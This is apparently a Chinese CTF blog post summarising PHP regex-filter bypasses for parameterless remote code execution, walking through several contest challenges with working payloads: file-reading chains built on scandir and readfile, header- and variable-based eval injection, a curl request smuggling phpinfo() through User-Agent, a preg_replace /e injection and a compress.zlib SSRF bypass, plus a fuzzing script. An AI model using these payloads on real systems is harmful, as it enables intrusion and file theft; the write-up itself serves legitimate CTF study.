从零开始的正则过滤学习(挖坑)

涉及知识点:

在打CTF的时候我经常遇到一些奇怪的正则过滤。

其中最常见的还是以下这一串无参数RCE。(出自 GXYCTF 禁止套娃

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

接下来我将会把我见过的正则表达式以及它的绕过方法总结一下。

 

目录:

  1. 例题
    1. nctf easyphp
    2. Code-Breaking Puzzles 2018 easy - phplimit
    3. RCTF r-cursive
    4. bytectf boring code
    5. GXYCTF 2019 禁止套娃
    6. BJDCTF ZJCTF 就这?
    7. XCTF高校战疫  hackme
  2. 函数讲解
    1. localeconv() 函数:
    2. 数组操作函数
    3. 数字操作函数
    4. 时间函数
    5. 哈希函数
  3. 总结

 

一,例题

1.    nctf easyphp

if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num']))
{
    echo '1st ok'."<br>";
}
else{
    die('23333333');
}

payload: ?num = 23333%0a

 

2.   Code-Breaking Puzzles 2018 easy - phplimit

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

出自峰佬的博客。这题的环境是 nginx 。简单的介绍一下正则 (?R)? 吧。

简单的来说这个正则表达式只能匹配这样的式子: dirname(getcwd()) 。

是吗?并不是,在bytectf中爆出这样的payload:

if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

但是太过诡异,目前先不讨论,挖个坑吧。

 

方法一:

这里可以用峰佬说的 get_defined_vars() 函数。(配合 print_r() 函数来查看结果)

get_defined_vars — 返回由所有已定义变量所组成的数组

 

然后用 reset 函数来清空。

payload: ?code=print_r(reset(get_defined_vars()));

 

 之后再在新的数组中加入一个变量1551。

payload: ?1551=ls&code=print_r(reset(get_defined_vars()));

 

 最后用implode()将它们两个连起来。

payload: ?1551=echo 1;//&code=print_r(implode(reset(get_defined_vars())));

 

 之后eval执行这个字符串。那么之后控制 1551 变量就可以读flag了。

方法二: 

当然也可以直接读取,因为之后会有函数作用的总结,就直接列payload了。

payload: ?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));

 

3.  RCTF r-cursive

';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

与上面的正则表达式没有什么区别(。。毕竟都是无参数RCE)。但是因为上一题是 nginx 的环境,这一题是 apache 的环境,所以可以用next(getallheaders())来绕过这个限制。

构造payload: ?cmd=next(getallheaders());

curl "http://xxxx.sandbox.r-cursive.ml:1337/?cmd=eval(next(getallheaders()));" -H "User-Agent: phpinfo();" -H "Accept: asdasd/asdasda"

就可以看到phpinfo的内容。

 

 4.  bytectf boring code

if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }

这题几乎可以说是万恶之源了,谁能想到当初我刚入坑CTF的时候敢去打这个比赛。(太惨了)

这里主要谈这个过滤点。

思路来源于 0xDktb师傅 , 0xDktb师傅tql!

首先我们的目的肯定是读目录。一般我们读目录都是用 print_r(scandir('.'))。但是很明显我们无法用这种方法。

那么我们现在的目的就是盘出一个 46 来。(chr(46) == '.')

但是我们现在可以拿出的数字只有 5或者6 。(因为 php 的版本号是 5.6.31 。我们可以用 floor(phpversion()) == 5 或者 ceil(phpversion()) == 6)

也就是说我们的起始数字是 5 或者 6。而我们的目标是 46 。 

由love math这道题可以知道php有很多的数字函数。那么5经过变换应该可以变成46的。

不多说,直接贴脚本吧。

<?php
#最终脚本,累死了
error_reporting(0);

function math_fuzz()
{
    $res = [];
    $whitelist = ['acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    #echo count($whitelist);            #本来有 46 个函数。
    foreach($whitelist as $func)
    {
        #if 语句中的是题目中的过滤条件
        if(!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $func) && !preg_match('/[0-9]/', $func))
        {
            array_push($res, $func);
        }
    }
    
    return $res;
    
}

function math_choose($origin, $goal, $depth = 0)
{
    
    $whitelist = math_fuzz();
    $str = ['ceil','floor','abs']    ;            //查看base_convert无报错,如果报错就放弃报错的函数,如果没报错那么放着就好了
    #接下来测试过滤。
    if($depth > 4)
    {
        return [];
    }
    foreach($whitelist as $math)
    {
        if(ceil($math($origin)) == $goal)
        {
            $res = [];
            array_push($res,'ceil',$math);
            return $res;
        }
        else if(floor($math($origin)) == $goal)
        {
            $res = [];
            array_push($res,'floor',$math);
            return $res;
        }
        else
        {
            $res = [];
            if(!empty($res = math_choose($math($origin), $goal, $depth + 1)))
            {
                array_push($res,$math);
                return $res;
            }
        }
        
        if(abs($math($origin)) == $goal)
        {
            $res = [];
            array_push($res,'abs',$math);
            return $res;
        }
    }
}
    



$origin = 5 ;    // phpversion()函数加上 floor() 或者 ceil() 成为 5 或 6 开局!
$goal = 46 ;
$res = math_choose($origin, $goal);
#print_r($res);
foreach($res as $func)
{
    echo $func."(";
}

echo $origin;

for($i = 0;$i < count($res);$i++)
{
    echo ')';
}

echo ' = '.$goal."\n";

运行结果:

 

 验证就不再验证了,直接构造

payload : print_r(scandir(chr(ceil(cosh(cosh(tan(round(acosh(floor(phpversion()))))))))));

 读取本级目录。之后的操作不再说了,0xDktb师傅的博客里有的。(主要是这个脚本)

 

5.  GXYCTF 2019 禁止套娃

 if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }

 这题比 bytectf 那道简单,毕竟过滤的少。payload几乎可以用一样的。

方法一:  array_rand(array_flip())

这里讲一种赌概率的方法。

array_flip()交换数组的键和值

array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回

payload: ?exp=print_r(readfile(array_rand(array_flip(scandir(chr(ceil(cosh(cosh(tan(round(acosh(floor(phpversion())))))))))))));

方法二:  array_reverse()

array_reverse()以相反的元素顺序返回数组。

最近有新发现,发现了 shuffle() 函数可以将数组随机打乱。

只有这题用的到,毕竟flag.php在倒数第二位。将数组倒叙后直接加一个next()就行了。

哦,对了,有一个点没有讲,current(localeconv())的结果一定是一个点,原因是

payload:?exp=readfile(next(array_reverse(scandir(current(localeconv())))));

结果:

 

 

 方法三:  session_id()

session_id()可以获取到当前的session id。

思路来源于王叹之师傅

 第一次看到时直接看傻了。完全没想到 session_id() 可以用,这里也简单讲一下过程吧。

本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。

首先要使用 sesssion_start() 开启session的。php默认是不开启session的。(顺带一提,session如果开启之后没有赋值,那么默认是空的,并不是不存在)

 因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php

 

 将print_r改为readfile即可读flag

 

 6.  ZJCTF 就这?

preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);

这个正则的坑很多。这里直接贴链接吧。

这里给一个可以直接绕过的payload\S*=${phpinfo()}  (phpinfo()可以换成你想要的PHP语句,比如eval($_GET[1551])  )

 

 7.  XCTF高校战疫

if (filter_var($url, FILTER_VALIDATE_URL)) {
    if (preg_match('/(data:\/\/)|(&)|(\|)|(\.\/)/i', $url)) {
        echo "you are hacker";
    } else {
        $res = parse_url($url);
        if (preg_match('/127\.0\.0\.1$/', $res['host'])) {
            $code = file_get_contents($url);
            if (strlen($code) <= 4) {
                @exec($code);
            } else {
                echo "try again";
            }
        }
    }
}

其实比起正则过滤,它应该说是SSRF的一种。因为SSRF太差了,所以比赛中只做到了这里,有点遗憾毕竟4位的命令执行方式我是知道的。

过滤了 data:// 还要求是 127.0.0.1 。如果说 Bytectf 中的 baidu.com 还可以利用百度的任意跳转漏洞或者买域名绕过,这个127.0.0.1就完全不一样了。

赛后看师傅们的WP。师傅们采用这样的方法绕过:

compress.zlib://data:@127.0.0.1/text/plain,ls

compress.zlib://data:@127.0.0.1?;base64,bHM=

本地测试成功了。。但是不是很能理解原因,一时间也找不到,先放一下,记住有这个方法好了。

 

 

二,函数讲解

1. localeconv() 函数:
返回一包含本地数字及货币格式信息的数组。而数组第一项就是 . 

本地测试结果:

 

 

 

 那么第一项就是 . 了,所以可以用一下两种方式返回 . 

>>> print_r(current(localeconv()));
>>> print_r(pos(localeconv()));

pos() 是 current() 的别名

 

2. 数组操作函数

相关操作数组的方法有(源自w3school):

  • end() – 将内部指针指向数组中的最后一个元素,并输出
  • next() – 将内部指针指向数组中的下一个元素,并输出
  • prev() – 将内部指针指向数组中的上一个元素,并输出
  • reset() – 将内部指针指向数组中的第一个元素,并输出
  • each() – 返回当前元素的键名和键值,并将内部指针向前移动
  • current() – 返回数组中的当前单元, 默认取第一个值。
  • array_reverse()  以相反的元素顺序返回数组。
  • array_flip()交换数组的键和值 ,常和array_rand()连用
  • array_rand()从数组中随机取出一个或多个单元,不断刷新访问就会不断随机返回,常和array_flip()连用
  • array_chunk() 把一个数组分割为新的数组块。

 end()和next()都很好用的

 

3. 数字操作函数

这里只提两个吧

  • floor()   将浮点数向下取整(话说 5.6.13 也算浮点数?)
    •   floor(5.6.13) == 5
  • ceil()  将浮点数向上取整
    •   celi(5.6.13) == 6

 

4. 时间函数

时间函数一直是无参数Rce的一个重点(虽然上面我并没有提及,因为我本身是真的不太喜欢)。

但是这东西是真的好用,尤其是在 bytectf 的 boring code 中因为 flag在 ../index.php 中。并且 phpversion() 不能有参数,这时候只能用时间函数。

  • time()
    •   
  • localtime()

chdir()函数返回的是布尔类型的 true 或者 flase ,对于不需要参数的 time() 函数来说并没有用。time(true) 仍然可以正常执行。

并且 localtime(time()) 是可以返回一个当前时间的数组的。这个数组的第一位就是秒数。通过这种方法我们就可以在 每分钟的46秒 拿到 46 了。

通过 pos(localtime(time())) 拿秒数。

所以说这东西强啊。

 

5.哈希函数

hebrevc(crypt(arg)) 可以随机生成一个哈希函数,第一个字母大概率是$,小概率是 .   。通过 ord chr只取第一个字符。(arg代表任何数,true也行哦)

所以说bytectf 的那道题照样可以用这种方法。

 crypt(serialize(array())) 与上面的东西几乎没有区别。

 

三,最后的波纹

收下吧,这是我最后的波纹了(狗头,话说JOJO是真的好看)。

当然这里也不是光说些没用的东西。

整几个最后是 . 的运算式子,虽然我写了脚本,但是这样不是可以少开几次虚拟机吗?

1.

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))));  返回 .

2.

chr(ord(hebrevc(crypt(phpversion()))));     大概率返回$,小概率返回 .

3.

chr(ord(strrev(crypt(serialize(array())))));     大概率返回$,小概率返回 .

4.

pos(localeconv());    或者    current(localeconv());    都可以返回 . 

5.  

chr(current(localtime(time(true))));            46秒返回 .

 

有一说一,下面的方法其实我不想拿出来的,毕竟太强了。

chr(rand())    欧皇质检员,相信自己,exp十年照样爆个零,rand一夜拿尽flag。

没说笑,真的,甚至还有这种方法:

chr(time())

原理在这个大佬的博客(噗嗤!哈哈!)

好的,咳咳,溜了,快跑啊!再不跑就真的是我最后的波纹了。

 

最后感谢以上提及的大佬们。

 

参考: https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

 

posted @ 2020-02-19 22:22  Cxlover  阅读(1074)  评论(0编辑  收藏  举报